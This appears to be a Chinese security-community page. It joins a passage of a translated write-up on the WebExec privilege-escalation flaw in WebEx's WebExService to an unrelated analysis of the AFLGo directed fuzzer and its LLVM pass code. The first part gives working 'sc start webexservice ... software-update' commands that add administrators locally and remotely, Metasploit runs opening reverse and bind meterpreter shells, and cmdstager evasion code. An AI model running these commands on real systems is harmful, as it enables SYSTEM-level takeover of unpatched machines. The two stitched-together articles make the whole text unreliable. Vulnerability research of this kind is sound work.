.text:00402830 loc_402830: ; CODE XREF: sub_4027D0+3Dj
.text:00402830 push dword ptr [esi+8]
.text:00402833 push offset aExecuteservice ; "ExecuteServiceCommand"
.text:00402838 push offset aSServiceComman ; "%s::Service command not recognized: %ls"...
.text:0040283D push 2 ; wType
.text:0040283F call sub_401770
发现：
.text:004027FD loc_4027FD: ; CODE XREF: sub_4027D0+Fj
.text:004027FD push offset aSoftwareUpdate ; "software-update"
.text:00402802 push dword ptr [esi+8] ; lpString1
.text:00402805 call ds:lstrcmpiW
.text:0040280B test eax, eax
.text:0040280D jnz short loc_402830 ; <-- Jumps to the error we saw
.text:0040280F mov [ebp+var_4], eax
.text:00402812 lea edx, [esi+0Ch]
.text:00402815 lea eax, [ebp+var_4]
.text:00402818 push eax
.text:00402819 push ecx
.text:0040281A lea ecx, [edi-3]
.text:0040281D call sub_4025A0
字符串`software-update`正是比较的字符串。因此用`software-update`替换`b`看看对不对。
命令如下：
C:Usersron>sc start webexservice a software-update
[...]
命令执行会产生一条新的日志记录：
Faulting application name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3
Faulting module name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3
Exception code: 0xc0000005
Fault offset: 0x00002643
Faulting process id: 0x654
Faulting application start time: 0x01d42dbbf2bcc9b8
Faulting application path: C:ProgramDataWebexWebexApplicationsWebExService.exe
Faulting module path: C:ProgramDataWebexWebexApplicationsWebExService.exe
Report Id: 31555e60-99af-11e8-8391-0800271677bd
研究人员的命令使进程奔溃了。但这里是想尝试使用其特征，因此：
exception code是`0xc0000005`，表示内存错误。进程尝试访问一个坏的内存地址。
因此研究人员尝试暴力破解，添加更多的命令行参数。研究人员的逻辑是服务可能需要2个参数，但实际上使用的是第三个参数，但第三个参数不存在，所以进程奔溃了。
因此使用下面的参数：
C:Usersron>sc start webexservice a software-update a b c d e f
[...]
同样奔溃了:
Faulting application name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3
Faulting module name: MSVCR120.dll, version: 12.0.21005.1, time stamp: 0x524f7ce6
Exception code: 0x40000015
Fault offset: 0x000a7676
Faulting process id: 0x774
Faulting application start time: 0x01d42dbc22eef30e
Faulting application path: C:ProgramDataWebexWebexApplicationsWebExService.exe
Faulting module path: C:ProgramDataWebexWebexApplicationsMSVCR120.dll
Report Id: 60a0439c-99af-11e8-8391-0800271677bd
Exception
code变成了`0x40000015`，表示`STATUS_FATAL_APP_EXIT`，也就是说应用程序退出了。因为没有输出，所以无法确定产生错误的真正原因。
下面分析其工作原理：
根据`software-update`字符串的代码路径，就可以看到下面的函数调用：
.text:0040281D call sub_4025A0
双击跳转到该函数，可以看到：
.text:00402616 mov [esp+0B4h+var_70], offset aWinsta0Default ; "winsta0\Default"
研究人员用最先进的技术搜索了该字符串，结果是一个默认桌面的句柄，常用于开启一个需要与用户交互的新进程。
在该函数中，研究人员还发现以下代码：
.text:004026A2 push eax ; EndPtr
.text:004026A3 push esi ; Str
.text:004026A4 call ds:wcstod ; <-- .text:004026AA add esp, 8
.text:004026AD fstp [esp+0B4h+var_90]
.text:004026B1 cmp esi, [esp+0B4h+EndPtr+4]
.text:004026B5 jnz short loc_4026C2
.text:004026B7 push offset aInvalidStodArg ; "invalid stod argument"
.text:004026BC call ds:?_Xinvalid_argument@std@@YAXPBD@Z ; std::_Xinvalid_argument(char const *)
这行有一个错误，`wcstod()`与`abort()`产生的位置很近。`wcstod()`是另一个微软的将字符转化为数字的函数。如果失败，代码会引用`std::_Xinvalid_argument`。
研究人员后来发现之后的参数应该是`1`，因此命令行变成了：
C:Usersron>sc start webexservice a software-update 1 2 3 4 5 6
检查事件日志：
StartUpdateProcess::CreateProcessAsUser:1;1;2 3 4 5 6(18).
研究人员将`2`修改为一个真实进程：
C:Usersron>sc start webexservice a software-update 1 calc c d e f
然后就打开了真实的计算器：
C:Usersron>tasklist | find "calc"
calc.exe 1476 Console 1 10,804 K
而且是GUI界面以`SYSTEM`权限运行的。
但是以同样的方式运行cmd.exe和powershell却不能工作。
## 本地利用
最简单的利用方式就是用`wmic.exe`打开`cmd.exe`：
C:Usersron>sc start webexservice a software-update 1 wmic process call create "cmd.exe"
命令会打开一个`SYSTEM`权限的GUI cmd.exe实例：
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:Windowssystem32>whoami
nt authoritysystem
如果不以GUI方式打开，也可以提权：
C:Usersron>net localgroup administrators
[...]
Administrator
ron
C:Usersron>sc start webexservice a software-update 1 net localgroup administrators testuser /add
[...]
C:Usersron>net localgroup administrators
[...]
Administrator
ron
testuser
Jeff写了一个 Metasploit
本地模块来进行权限提升。如果攻击者在受影响的机器上有非SYSTEM的session，就可以用这种方式来获取SYSTEM账号（权限）：
meterpreter > getuid
Server username: IEWIN7IEUser
meterpreter > background
[*] Backgrounding session 2...
msf exploit(multi/handler) > use exploit/windows/local/webexec
msf exploit(windows/local/webexec) > set SESSION 2
SESSION => 2
msf exploit(windows/local/webexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(windows/local/webexec) > set LHOST 172.16.222.1
msf exploit(windows/local/webexec) > set LPORT 9001
msf exploit(windows/local/webexec) > run
[*] Started reverse TCP handler on 172.16.222.1:9001
[*] Checking service exists...
[*] Writing 73802 bytes to %SystemRoot%TempyqaKLvdn.exe...
[*] Launching service...
[*] Sending stage (179779 bytes) to 172.16.222.132
[*] Meterpreter session 2 opened (172.16.222.1:9001 -> 172.16.222.132:49574) at 2018-08-31 14:45:25 -0700
[*] Service started...
meterpreter > getuid
Server username: NT AUTHORITYSYSTEM
## 远程利用
最简单的漏洞利用可以通过Windows sc命令完成。可以在远程机器上创建一个session或用相同的凭证创建一个本地用户，然后在该用户环境下（`runas
/user:newuser cmd.exe`）运行cmd.exe。完成后，就可以在远程主机上使用相同的命令了：
c:>sc \10.0.0.0 start webexservice a software-update 1 net localgroup administrators testuser /add
### 利用Metasploit远程利用
为了简化攻击，研究人员写了另外一对Metasploit模块。一个是实现该攻击来远程运行任意命令的辅助模块，另一个是完整的利用模块。两个模块都需要有效的SMB账号（本地或域账户都可以），但主要都依赖于WebExec
library 。
下面是用复制模块来运行计算器的例子：
msf5 > use auxiliary/admin/smb/webexec_command
msf5 auxiliary(admin/smb/webexec_command) > set RHOSTS 192.168.1.100-110
RHOSTS => 192.168.56.100-110
msf5 auxiliary(admin/smb/webexec_command) > set SMBUser testuser
SMBUser => testuser
msf5 auxiliary(admin/smb/webexec_command) > set SMBPass testuser
SMBPass => testuser
msf5 auxiliary(admin/smb/webexec_command) > set COMMAND calc
COMMAND => calc
msf5 auxiliary(admin/smb/webexec_command) > exploit
[-] 192.168.56.105:445 - No service handle retrieved
[+] 192.168.56.105:445 - Command completed!
[-] 192.168.56.103:445 - No service handle retrieved
[+] 192.168.56.103:445 - Command completed!
[+] 192.168.56.104:445 - Command completed!
[+] 192.168.56.101:445 - Command completed!
[*] 192.168.56.100-110:445 - Scanned 11 of 11 hosts (100% complete)
[*] Auxiliary module execution completed
下面是完整的利用模块：
msf5 > use exploit/windows/smb/webexec
msf5 exploit(windows/smb/webexec) > set SMBUser testuser
SMBUser => testuser
msf5 exploit(windows/smb/webexec) > set SMBPass testuser
SMBPass => testuser
msf5 exploit(windows/smb/webexec) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf5 exploit(windows/smb/webexec) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf5 exploit(windows/smb/webexec) > exploit
[*] 192.168.56.101:445 - Connecting to the server...
[*] 192.168.56.101:445 - Authenticating to 192.168.56.101:445 as user 'testuser'...
[*] 192.168.56.101:445 - Command Stager progress - 0.96% done (999/104435 bytes)
[*] 192.168.56.101:445 - Command Stager progress - 1.91% done (1998/104435 bytes)
...
[*] 192.168.56.101:445 - Command Stager progress - 98.52% done (102891/104435 bytes)
[*] 192.168.56.101:445 - Command Stager progress - 99.47% done (103880/104435 bytes)
[*] 192.168.56.101:445 - Command Stager progress - 100.00% done (104435/104435 bytes)
[*] Started bind TCP handler against 192.168.56.101:4444
[*] Sending stage (179779 bytes) to 192.168.56.101
从上面的代码可以看出，真实的实现非常直接，但这里要说的是利用模块的一个问题：如何上传一个meterpreter .exe并且运行呢？
研究人员用类psexec的利用将.exe文件上传到可写分区，然后通过WebExec执行。但是上传到share分区一般需要管理员权限，这里可以使用psexec。但这就失去了WebExec的作用。
在与 Egyp7讨论过后，研究人员认为可以用`Msf::Exploit::CmdStager
mixin`。用`.vbs`写一个Base64编码的文件到硬盘，然后解码并执行。
但这种方案也有一些问题：
* 每行最大长度为1200个字符，而`CmdStager mixin`每行会用2000个字符；
* `CmdStager`会用`%TEMP%`作为临时目录，但当前利用并不扩展路径；
* `WebExecService`好像会用反斜杠转义引号，研究人员不清楚如何关闭。
前两个问题很好解决：
wexec(true) do |opts|
opts[:flavor] = :vbs
opts[:linemax] = datastore["MAX_LINE_LENGTH"]
opts[:temp] = datastore["TMPDIR"]
opts[:delay] = 0.05
execute_cmdstager(opts)
end
execute_cmdstager() 可以执行execute_command() 来构建payload，这里就修复了最后一个问题：
# This is the callback for cmdstager, which breaks the full command into
# chunks and sends it our way. We have to do a bit of finangling to make it
# work correctly
def execute_command(command, opts)
# Replace the empty string, "", with a workaround - the first 0 characters of "A"
command = command.gsub('""', 'mid(Chr(65), 1, 0)')
# Replace quoted strings with Chr(XX) versions, in a naive way
command = command.gsub(/"[^"]*"/) do |capture|
capture.gsub(/"/, "").chars.map do |c|
"Chr(#{c.ord})"
end.join('+')
end
# Prepend "cmd /c" so we can use a redirect
command = "cmd /c " + command
execute_single_command(command, opts)
end
首先，用空字符串替换`mid(Chr(65), 1, 0)`。
第二，用`Chr(n)+Chr(n)+....`替换其他字符串。但是不能使用`&`，因为这是shell用来连接命令的。
最后，将`cmd/c`加到命令之前，这可以将结果输出到文件，也可以用`^>`代替。
## 检查补丁
修复的WebEx也可以使远程用户连接到进程，并启动。但如何进程被检测到正运行一个没有被WebEx签名的可执行文件，执行就会中止。而且研究人员也不清楚主机是否有漏洞。
为了验证代码是否运行，研究人员使用DNS请求、telnet返回特定端口，在webroot中释放文件等方式进行验证。问题是如果没有通用的检查方法，还不如使用脚本呢。
为了利用这一点，研究人员必须要获取到`service-controlservice
(svcctl)`的句柄。因此，研究人员决定安装一个假的服务，尝试启动，然后删除。如果启动服务返回的是`ok`或`ACCESS_DENIED`，就知道代码是否运行了。
下面是研究人员开发的Nmap checker模块的重要代码：
-- Create a test service that we can query
local webexec_command = "sc create " .. test_service .. " binpath= c:\fakepath.exe"
status, result = msrpc.svcctl_startservicew(smbstate, open_service_result['handle'], stdnse.strsplit(" ", "install software-update 1 " .. webexec_command))
-- ...
local test_status, test_result = msrpc.svcctl_openservicew(smbstate, open_result['handle'], test_service, 0x00000)
-- If the service DOES_NOT_EXIST, we couldn't run code
if string.match(test_result, 'DOES_NOT_EXIST') then
stdnse.debug("Result: Test service does not exist: probably not vulnerable")
msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])
vuln.check_results = "Could not execute code via WebExService"
return report:make_output(vuln)
end
Not shown: we also delete the service once we're finished.
## 总结
WebEx
10月3日发布了补丁，详见webexec.org。好消息是该服务的修复版本只能运行WebEx签名的文件。坏消息是有许多版本都没有修复，而且该服务可以远程启动。
如果不想远程启动该服务，可以用命令关闭：
c:>sc sdset webexservice D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPLORC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
这就移除了该服务的远程和非交互式访问。 | 社区文章 |
# AFLGo 分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0\. Directed fuzzing
**Directed fuzzing** 可以翻译为定向模糊测试，导向型模糊测试，是灰盒模糊测试中的一种。传统的覆盖率引导的模糊测试 (Coverage-guided fuzzing)
是期望覆盖到更多的代码，所以是以覆盖率的增加作为引导。而在某些场景下，例如对patch进行测试，此时，传统的基于覆盖率的模糊测试那种盲目探索的方式不能满足快速到达特定目标点的需求。
所以，基于上述的场景，提出了 directed fuzzing ，导向型模糊测试是有特定目标的，希望能够快速覆盖到使用者期望到达的目标点。所以需要对
fuzzing 进行引导，忽略其余不相关的部分，使得 fuzzer 朝着目标点探索。
## 1\. AFLGo论文
2017年，Directed fuzzing这个概念在 B¨ohme等人的论文 _Directed Greybox Fuzzing_
中第一次被提出，文章开源了一个名为 [AFLGo](https://github.com/aflgo/aflgo "AFLGo Github URL")
的工具，是在 AFL 的基础上，实现了一个可以快速到达指定目标点的模糊测试工具。后续出现的 Directed fuzzing，基本都无法完全脱离 AFLGo
的方法，可以说，AFLGo 开创了导向型模糊测试的先河。
### 1.1 概述
AFLGo的流程如下图：
1.首先，编译源码，得到待 fuzz 程序的控制流图 (Control Flow Graph, CFG) 和函数调用图 (Call Graph, CG)
。这一步由AFL中作者编写的 LLVM Pass 完成。
2.其次，通过 CFG 和 CG，以及给定的 target，计算所有的基本块 (Basic Block, BB) 到 target 所在的基本块的
**距离** 。这一步由 python 脚本完成。
3.然后，再编译一次源码，对程序进行插桩，除了AFL原有的插桩逻辑外，添加向指定地址增加每个基本块距离的指令，即指定一个共享内存地址为记录 distance
的变量，在基本块中插桩，插入如下指令：distance += current_BB_distance，向 distance 变量增加当前基本块的距离。
4.最后是 fuzzing 部分的逻辑，根据插桩反馈的信息，我们可以在每一个 seed 作为输入给程序执行的时候得到这个 seed 对应的
distance，也就是 seed 执行路径距离目标点的距离，然后根据距离对 seed
进行打分，这个打分的算法就是模拟退火算法，距离越近，打分越高，seed 得到变异的机会越多。
至此，整个 AFLGo 的流程结束。
### 1.2 距离计算
AFLGO 首先根据 CG 计算 **函数层面 (function-level)** 的距离，然后基于 CFG 计算 **基本块层面 (basic-block level)** 的距离，最后将基本块的距离作为插桩时使用的距离。
因为 AFLGo 支持标记多个目标，所以在距离计算时需要将每个基本块到多个目标的距离做一个加和，这里采用的是对到每个目标的距离和取 **调和平均数** 。
为什么不取算术平均数？因为在多目标的情况下，算术平均数无法区分『一个基本块离一个目标近一个目标远』和『一个基本块离两个目标点距离相等』的情况。
如下图，当目标为Y1和Y2时，三个白色基本块都可以到达这两个灰色的目标点。当用算术平均数计算时，左右分别到两个目标点的距离是1和3，平均下来就是(1+3)
/ 2=
2。而最上面的点到两个目标的距离都是2，平均下来也是2，这样三个点距离都是2，区分不出到哪个点距离近。如果取调和平均数，左右两个点距离都是是3/4，最上面的点距离是1，这样就能区分出远近了。
**1.2.1 函数层面距离计算**
目标基本块所在的函数就是目标函数。
公式看起来比较复杂，其实就是两句话：
1.当该函数不能到达任意一个目标函数(即：CG上该函数没有路径能到达目标函数)时，不定义距离
2.否则，将该函数能够到达的目标函数之间的 **最短距离** 取调和平均数
**1.2.2 基本块层面距离计算**
有了函数层面的距离，再计算更加细的基本块距离，规则如下：
1.当基本块就是目标基本块时，该基本块的距离为0
2.当前基本块存在函数调用链可以到达目标函数时，距离为该基本块中调用的函数集和中，『距离目标函数最近的路径距离』乘上一个系数
3.否则，距离为『有能到达目标基本块的后继基本块时，取当前基本块到后继基本块距离』 + 『该后继基本块到目标基本块的距离』，取到所有目标的调和平均数
### 1.3 模拟退火算法
公式也很复杂，但这里只讲算法的作用：模拟退火算法是为了解决 **探索-利用 (exploration-exploitation)** 的问题。
在fuzzing的前期，因为探索到的路径有限，此时离目标点的距离可能还很远，此时重点在探索，即尽可能扩大覆盖率，当覆盖率到一定程度时，再利用距离较近的seed来变异，此时到达目标点的可能性更大。
如果在距离还很远的时候，就只针对当前距离最近的seed进行变异，虽然当前seed距离是相对最近的，但是在绝对距离上可能还很远，无论怎么fuzzing，到达目标点的可能性就很小，这样就可能会陷入
**局部最优** 的困境中。
模拟退火算法就是为了避免uzzing陷入局部最优的困境中的方法。
AFL中有一个环节叫 power scheduling，即对 seed 进行打分，综合各项指标计算分数，这个分数直接影响到对每个 seed 进行
fuzzing 的时间长度。
而 AFLGo 在 power scheduling 部分加上模拟退火算法，同时以时间和距离来计算分数。当时间越长，距离越近的 seed 得分越高，能够得到
fuzzing 的时间越长。
## 2\. 源码分析
这一节我们按照 workflow，对照源码进行分析。
### 2.1 预处理阶段
以 AFLGo `README` 中例子为例，首先是第一次编译，输入程序源码，输出 CG 和 CFG。
# Set aflgo-instrumenter
export CC=$AFLGO/afl-clang-fast
export CXX=$AFLGO/afl-clang-fast++
# Set aflgo-instrumentation flags
export COPY_CFLAGS=$CFLAGS
export COPY_CXXFLAGS=$CXXFLAGS
export ADDITIONAL="-targets=$TMP_DIR/BBtargets.txt -outdir=$TMP_DIR -flto -fuse-ld=gold -Wl,-plugin-opt=save-temps"
export CFLAGS="$CFLAGS $ADDITIONAL"
export CXXFLAGS="$CXXFLAGS $ADDITIONAL"
# Build libxml2 (in order to generate CG and CFGs).
# Meanwhile go have a coffee ☕️
export LDFLAGS=-lpthread
pushd $SUBJECT
./autogen.sh
./configure --disable-shared
make clean
make xmllint
popd
与 AFL 不一样的地方在于，需要多传入3个编译选项`-targets=$TMP_DIR/BBtargets.txt -outdir=$TMP_DIR
-flto -fuse-ld=gold -Wl,-plugin-opt=save-temps"`。
`-target`传入的是目标点位置文件，`-outdir`传入的是 graph 导出的目录。
最后的`-flto -fuse-ld=gold -Wl,-plugin-opt=save-temps`是开启 llvm link time
optimization 选项，是在链接阶段进行模块间的优化，`-Wl,-plugin-opt=save-temps`选项是为了保存下整个程序的`.bc`文件，便于之后生成
CG。这一步需要`libLTO.so`和`LLVMgold.so`两个动态库，所以编译前需要保证这两个`.so`文件在`/usr/lib/bfd-plugins`目录下。
* * *
第一次编译的主要处理代码在`llvm_mode/afl-llvm-pass.so.cc`文件中，该文件是 llvm 的 pass 插件文件，编译后作为
llvm 的插件，在编译时自动加载运行。
主程序的逻辑都在`AFLCoverage::runOnModule`函数中。
bool AFLCoverage::runOnModule(Module &M) {
bool is_aflgo = false;
bool is_aflgo_preprocessing = false;
/* 判断目标文件和距离文件是否同时声明，因为这是第一次编译和第二次编译两个阶段分别需要的文件
不可以同时声明。
*/
if (!TargetsFile.empty() && !DistanceFile.empty()) {
FATAL("Cannot specify both '-targets' and '-distance'!");
return false;
}
std::list<std::string> targets; // 存储目标点的list
std::map<std::string, int> bb_to_dis; // 存储基本块和对应距离的map
std::vector<std::string> basic_blocks; // 存储基本块名字的vector
/* 当目标文件不为空时，说明是第一次编译阶段。
*/
if (!TargetsFile.empty()) {
/* 检查输出文件目录是否为空
*/
if (OutDirectory.empty()) {
FATAL("Provide output directory '-outdir <directory>'");
return false;
}
/* 按行读取目标点文件，存储到target中，然后置flag，表示为preprocessing阶段
*/
std::ifstream targetsfile(TargetsFile);
std::string line;
while (std::getline(targetsfile, line))
targets.push_back(line);
targetsfile.close();
is_aflgo_preprocessing = true;
} else if (!DistanceFile.empty()) {
...
}
这里接收命令行参数的变量为`TargetsFile`和`OutDirectory`，以及第二次编译接收距离文件的变量`DistanceFile`，定义为
cl::opt<std::string> DistanceFile(
"distance",
cl::desc("Distance file containing the distance of each basic block to the provided targets."),
cl::value_desc("filename")
);
cl::opt<std::string> TargetsFile(
"targets",
cl::desc("Input file containing the target lines of code."),
cl::value_desc("targets"));
cl::opt<std::string> OutDirectory(
"outdir",
cl::desc("Output directory where Ftargets.txt, Fnames.txt, and BBnames.txt are generated."),
cl::value_desc("outdir"));
这是 llvm 提供的 commandline
library，方便解析命令行参数。这里有一个小tips，因为`cl::opt`类默认是只允许不出现或者出现一次声明，但经过实践发现在编译一些程序库的时候，因为不太清楚这些库的
makefile
是怎么写的，很容易出现对编译选项的重复声明，为了方便，建议这里定义时加上`cl::ZeroOrMore`，这样即使重复，也不会报错，编译选项的值取最后一次声明。
AFLGo 还需要修改的地方是`llvm_mode/afl-clang-fast.c`中，需要加上以下代码才能让 AFL 的 clang wrapper
能够识别添加的编译选项
if (!strncmp(cur, "-distance", 9)
|| !strncmp(cur, "-targets", 8)
|| !strncmp(cur, "-outdir", 7))
cc_params[cc_par_cnt++] = "-mllvm";
参考来自[文档](https://llvm.org/docs/CommandLine.html)：
> The allowed values for this option group are:
>
> * The **cl::Optional** modifier (which is the default for the
> [cl::opt](https://llvm.org/docs/CommandLine.html#cl-opt) and
> [cl::alias](https://llvm.org/docs/CommandLine.html#cl-alias) classes)
> indicates that your program will allow either zero or one occurrence of the
> option to be specified.
> * The **cl::ZeroOrMore** modifier (which is the default for the
> [cl::list](https://llvm.org/docs/CommandLine.html#cl-list) class) indicates
> that your program will allow the option to be specified zero or more times.
> * The **cl::Required** modifier indicates that the specified option must
> be specified exactly one time.
> * The **cl::OneOrMore** modifier indicates that the option must be
> specified at least one time.
> * The **cl::ConsumeAfter** modifier is described in the [Positional
> arguments section](https://llvm.org/docs/CommandLine.html#positional-> arguments-section).
>
接下来是运行时的提示 banner 和 AFL 本身的插桩比例，没什么重要点
/* Show a banner */
char be_quiet = 0;
if (isatty(2) && !getenv("AFL_QUIET")) {
if (is_aflgo || is_aflgo_preprocessing)
SAYF(cCYA "aflgo-llvm-pass (yeah!) " cBRI VERSION cRST " (%s mode)\n",
(is_aflgo_preprocessing ? "preprocessing" : "distance instrumentation"));
else
SAYF(cCYA "afl-llvm-pass " cBRI VERSION cRST " by <[email protected]>\n");
} else be_quiet = 1;
/* Decide instrumentation ratio */
char* inst_ratio_str = getenv("AFL_INST_RATIO");
unsigned int inst_ratio = 100;
if (inst_ratio_str) {
if (sscanf(inst_ratio_str, "%u", &inst_ratio) != 1 || !inst_ratio ||
inst_ratio > 100)
FATAL("Bad value of AFL_INST_RATIO (must be between 1 and 100)");
}
但 AFLGo 也仿照 AFL
做了插桩比例的选择，即如果声明了`AFLGO_SELECTIVE`环境变量以及`AFLGO_INST_RATIO`，`AFLGO_INST_RATIO`数值就是
AFlGo 的插桩百分比。
/* Default: Not selective */
char* is_selective_str = getenv("AFLGO_SELECTIVE");
unsigned int is_selective = 0;
if (is_selective_str && sscanf(is_selective_str, "%u", &is_selective) != 1)
FATAL("Bad value of AFLGO_SELECTIVE (must be 0 or 1)");
char* dinst_ratio_str = getenv("AFLGO_INST_RATIO");
unsigned int dinst_ratio = 100;
if (dinst_ratio_str) {
if (sscanf(dinst_ratio_str, "%u", &dinst_ratio) != 1 || !dinst_ratio ||
dinst_ratio > 100)
FATAL("Bad value of AFLGO_INST_RATIO (must be between 1 and 100)");
}
然后进入到 preprocessing 阶段
if (is_aflgo_preprocessing) {
std::ofstream bbnames(OutDirectory + "/BBnames.txt", std::ofstream::out | std::ofstream::app); // 记录基本块名字文件
std::ofstream bbcalls(OutDirectory + "/BBcalls.txt", std::ofstream::out | std::ofstream::app); // 记录callsite文件，格式为[基本块，函数名]
std::ofstream fnames(OutDirectory + "/Fnames.txt", std::ofstream::out | std::ofstream::app); // 记录函数名文件
std::ofstream ftargets(OutDirectory + "/Ftargets.txt", std::ofstream::out | std::ofstream::app); // 记录目标基本块所在函数名文件
/* Create dot-files directory */
std::string dotfiles(OutDirectory + "/dot-files");
if (sys::fs::create_directory(dotfiles)) {
FATAL("Could not create directory %s.", dotfiles.c_str());
}
for (auto &F : M) {
bool has_BBs = false;
std::string funcName = F.getName().str();
/* Black list of function names */
if (isBlacklisted(&F)) {
continue;
}
bool is_target = false;
for (auto &BB : F) {
std::string bb_name("");
std::string filename;
unsigned line;
for (auto &I : BB) {
getDebugLoc(&I, filename, line);
/* Don't worry about external libs */
/* 去除掉一些外部库，以及没有位置信息的指令
*/
static const std::string Xlibs("/usr/");
if (filename.empty() || line == 0 || !filename.compare(0, Xlibs.size(), Xlibs))
continue;
if (bb_name.empty()) {
/* 用基本块的第一条有效指令位置作为基本块名字
基本块名字格式为：[基本块所在文件名：基本块所在行数]
*/
std::size_t found = filename.find_last_of("/\\");
if (found != std::string::npos)
filename = filename.substr(found + 1);
bb_name = filename + ":" + std::to_string(line);
}
/* 判断该基本块是否是目标基本块，即对应的文件名和行数是否相等
*/
if (!is_target) {
for (auto &target : targets) {
std::size_t found = target.find_last_of("/\\");
if (found != std::string::npos)
target = target.substr(found + 1);
std::size_t pos = target.find_last_of(":");
std::string target_file = target.substr(0, pos);
unsigned int target_line = atoi(target.substr(pos + 1).c_str());
if (!target_file.compare(filename) && target_line == line)
is_target = true;
}
}
/* 如果当前指令是call指令，则记录下当前基本块名字和调用的函数
格式为: [基本块名字，函数名]
*/
if (auto *c = dyn_cast<CallInst>(&I)) {
std::size_t found = filename.find_last_of("/\\");
if (found != std::string::npos)
filename = filename.substr(found + 1);
if (auto *CalledF = c->getCalledFunction()) {
if (!isBlacklisted(CalledF))
bbcalls << bb_name << "," << CalledF->getName().str() << "\n";
}
}
}
if (!bb_name.empty()) {
/* 这里是设置基本块名字，但是因为有一些基本块在源码中位置在同一行，
故同名的设置会失效，所以当发现名字没有设置上时，为其创建一个allocator，
则会自动在名字后生成随机数，避免了同名问题
*/
BB.setName(bb_name + ":");
if (!BB.hasName()) {
std::string newname = bb_name + ":";
Twine t(newname);
SmallString<256> NameData;
StringRef NameRef = t.toStringRef(NameData);
MallocAllocator Allocator;
BB.setValueName(ValueName::Create(NameRef, Allocator));
}
/* 导出基本块名字到文件中 */
bbnames << BB.getName().str() << "\n";
has_BBs = true;
/* 这个宏是针对补充CG设计的，开启后，会在运行时将调用的函数实时记录下来 */
#ifdef AFLGO_TRACING
auto *TI = BB.getTerminator();
IRBuilder<> Builder(TI);
Value *bbnameVal = Builder.CreateGlobalStringPtr(bb_name);
Type *Args[] = {
Type::getInt8PtrTy(M.getContext()) //uint8_t* bb_name
};
FunctionType *FTy = FunctionType::get(Type::getVoidTy(M.getContext()), Args, false);
Constant *instrumented = M.getOrInsertFunction("llvm_profiling_call", FTy);
Builder.CreateCall(instrumented, {bbnameVal});
#endif
}
}
/* 这里首先判断该函数是否有基本块，如果有，就打印该函数的CFG，
AFLGo重写了WriteGraph相关的类，所以打印出的CFG文件与llvm自带的插件打印出的不一样
*/
if (has_BBs) {
/* Print CFG */
std::string cfgFileName = dotfiles + "/cfg." + funcName + ".dot";
std::error_code EC;
raw_fd_ostream cfgFile(cfgFileName, EC, sys::fs::F_None);
if (!EC) {
WriteGraph(cfgFile, &F, true);
}
/* 最后记录目标基本块所在函数和所有的函数名。
*/
if (is_target)
ftargets << F.getName().str() << "\n";
fnames << F.getName().str() << "\n";
}
}
} else {
...
}
这里调用了几个 AFLGo 自己实现的函数，首先是判断函数是否是几个无关函数的`isBlacklisted`，这里对几个常见的库函数做了屏蔽。
static bool isBlacklisted(const Function *F) {
static const SmallVector<std::string, 8> Blacklist = {
"asan.",
"llvm.",
"sancov.",
"__ubsan_handle_",
"free",
"malloc",
"calloc",
"realloc"
};
for (auto const &BlacklistFunc : Blacklist) {
if (F->getName().startswith(BlacklistFunc)) {
return true;
}
}
return false;
}
然后是`getDebugLoc`函数，该函数作用是获取指令所在的文件名和行数，这里需要注意的是，在编译的时候一定要加入`-g`选项，表示程序保留debug信息，否则无法获取源码所在文件名和行数信息。
static void getDebugLoc(const Instruction *I, std::string &Filename,
unsigned &Line) {
/* 这里对llvm旧版本的api做了兼容
*/
#ifdef LLVM_OLD_DEBUG_API
DebugLoc Loc = I->getDebugLoc();
if (!Loc.isUnknown()) {
DILocation cDILoc(Loc.getAsMDNode(M.getContext()));
DILocation oDILoc = cDILoc.getOrigLocation();
Line = oDILoc.getLineNumber();
Filename = oDILoc.getFilename().str();
if (filename.empty()) {
Line = cDILoc.getLineNumber();
Filename = cDILoc.getFilename().str();
}
}
#else
if (DILocation *Loc = I->getDebugLoc()) {
Line = Loc->getLine();
Filename = Loc->getFilename().str();
if (Filename.empty()) {
DILocation *oDILoc = Loc->getInlinedAt();
if (oDILoc) {
Line = oDILoc->getLine();
Filename = oDILoc->getFilename().str();
}
}
}
#endif /* LLVM_OLD_DEBUG_API */
}
最后是重写的打印 CFG 的类`DOTGraphTraits`，对几个关键函数重写，让打印出的CFG按照我们期望的格式打印。
template<>
struct DOTGraphTraits<Function*> : public DefaultDOTGraphTraits {
DOTGraphTraits(bool isSimple=true) : DefaultDOTGraphTraits(isSimple) {}
static std::string getGraphName(Function *F) {
return "CFG for '" + F->getName().str() + "' function";
}
std::string getNodeLabel(BasicBlock *Node, Function *Graph) {
if (!Node->getName().empty()) {
return Node->getName().str();
}
std::string Str;
raw_string_ostream OS(Str);
Node->printAsOperand(OS, false);
return OS.str();
}
};
到这里第一次编译的逻辑结束了，最后会在`-outdir`声明的目录下得到以下文件
.
├── BBcalls.txt
├── BBnames.txt
├── dot-files
├── Fnames.txt
└── Ftargets.txt
1 directory, 4 files
### 2.2 计算距离
根据 AFLGo `README`，下一步需要生成距离
# Generate distance ☕️
# $AFLGO/scripts/genDistance.sh is the original, but significantly slower, version
$AFLGO/scripts/gen_distance_fast.py $SUBJECT $TMP_DIR xmllint
这里使用的脚本`gen_distance_fast.py`是作者因为原本用 python 写的版本计算太慢，就用 C++
重新实现了一遍，逻辑实际上是一样的，这里我们为了说明方便就用原来的脚本说明，即文件`scripts/genDistance.sh`。
#!/bin/bash
# 检查参数个数，说明脚本用法
if [ $# -lt 2 ]; then
echo "Usage: $0 <binaries-directory> <temporary-directory> [fuzzer-name]"
echo ""
exit 1
fi
# 设置好参数路径
BINARIES=$(readlink -e $1)
TMPDIR=$(readlink -e $2)
AFLGO="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
fuzzer=""
# 检查程序的.bc文件是否存在，否则无法生成CG
